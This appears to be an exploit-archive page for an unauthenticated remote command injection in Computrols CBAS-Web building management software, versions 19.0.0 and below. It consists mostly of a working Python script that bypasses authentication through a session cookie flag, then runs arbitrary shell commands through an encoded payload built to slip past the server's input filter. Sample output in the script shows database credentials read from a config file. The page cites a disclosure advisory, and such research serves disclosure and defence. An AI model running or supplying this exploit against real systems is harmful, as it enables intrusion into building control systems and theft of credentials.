Computrols CBAS-Web 19.0.0 Command Injection

Computrols CBAS-Web versions 19.0.0 and below unauthenticated remote command injection exploit.


MD5 | 50d03aaede914ca877d49bdec4da6d01

#!/usr/bin/env python

'''
Computrols CBAS-Web Unauthenticated Remote Command Injection Exploit
Affected versions: 19.0.0 and below
by Sipke Mellema, 2019
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system

Uses two vulnerabilities for executing commands:
- An authorization bypass in the auth module (CVE-2019-10853)
- A code execution vulnerability in the json.php endpoint (CVE-2019-10854)

Example usage:
$ python CBASWeb_19_rce.py 192.168.1.250 "cat /var/www/cbas-19.0.0/includes/db.php"
------------==[CBAS Web v19 Remote Command Injection

[*] URL: http://192.168.1.250/
[*] Executing: cat /var/www/cbas-19.0.0/includes/db.php
[*] Cookie is authenticated
[*] Creating Python payload..
[*] Sending Python payload..
[*] Server says:
<?php
// Base functions for database access
// Expects a number of constants to be set. Set settings.php

// Only allow local access to the database for security purposes
if(defined('WINDOWS') && WINDOWS){
define('MYSQL_HOST', '192.168.1.2');
define('DB_USER', 'wauser');
define('DB_PASS', 'wapwstandard');
/*define('DB_USER', 'root');
define('DB_PASS', 'souper secrit');*/
...

'''

import requests
import sys
import base64 as b
import json


def debug_print(msg, level=0):
if level == 0:
print "[*] %s" % msg
if level == 1:
print "[-] %s" % msg

# Check parameters
if len(sys.argv) < 3:
print "Missing target parameter\n\n\tUsage: %s <IP or hostname> \"<cmd>\"" % __file__
exit(0)

print "------------==[CBAS Web v18 Remote Command Injection\n"

# Set host, cookie and URL
host = sys.argv[1]
cookies = {'PHPSESSID': 'comparemetoasummersday'}
url = "http://%s/" % host

debug_print("URL: %s" % url)

# Command to execute
# Only use single quotes in cmd pls
icmd = sys.argv[2]
if '"' in icmd:
debug_print("Please don't use double quotes in your command string", level = 1)
exit(0)

debug_print("Executing: %s" % icmd)

# URL for performing auth bypass by setting the auth cookie flag to true
auth_bypass_req = "cbas/index.php?m=auth&a=agg_post&code=test"
# URL for removing auth flag from cookie (for clean-up)
logout_sess_req = "cbas/index.php?m=auth&a=logout"
# URL for command injection and session validity checking
json_checks_req = "cbas/json.php"

# Perform logout
def do_logout():
requests.get(url + logout_sess_req, cookies = cookies)

# Check if out cookie has the authentication flag
def has_auth():
ret = requests.get(url + json_checks_req, cookies = cookies)
if ret.text == "Access Forbidden":
return False
return True

# Set auth flag on cookie
def set_auth():
requests.get(url + auth_bypass_req, cookies = cookies)

# =======================================================

# Perform auth bypass if not authenticated yet
if not has_auth():
debug_print("Cookie not yet authenticated")
debug_print("Setting auth flag on cookie via auth bypass..")
set_auth()

# Check if bypass failed
if not has_auth():
debug_print("Was not able to perform authorization bypass :(")
debug_print("Exploit failed, quitting..", level = 1)
exit(0)

else:
debug_print("Cookie is authenticated")
debug_print("Creating Python payload..")

# Payload has to be encoded because the server uses the following filtering in exectools.php:
# $bad = array("..", "\\", "&", "|", ";", '/', '>', '<');
# So no slashes, etc. This means only two "'layers' of quotes"

# Create python code exec code
cmd_python = 'import os; os.system("%s")' % icmd
# Convert to Python array
cmd_array_string = str([ord(x) for x in cmd_python])
# Create command injection string
p_unencoded = "DispatchHistoryQuery\t-i \"$(python -c 'exec(chr(0)[0:0].join([chr(x) for x in %s]))')\"" % cmd_array_string
# Base64 encode for p parameter
p_encoded = b.b64encode(p_unencoded)

# Execute command
debug_print("Sending Python payload..")
ret = requests.post(url + json_checks_req, cookies = cookies, data = {'p': p_encoded})

# Parse result
ret_parsed = json.loads(ret.text)
try:
metadata = ret_parsed["metadata"]
identifier = metadata["identifier"]

debug_print("Server says:")
print identifier

# JSON Parsing error
except:
debug_print("Error parsing result from server :(", level = 1)

# Uncomment if you want the cookie to be removed after use
# debug_print("Logging out")
# do_logout()

Related Posts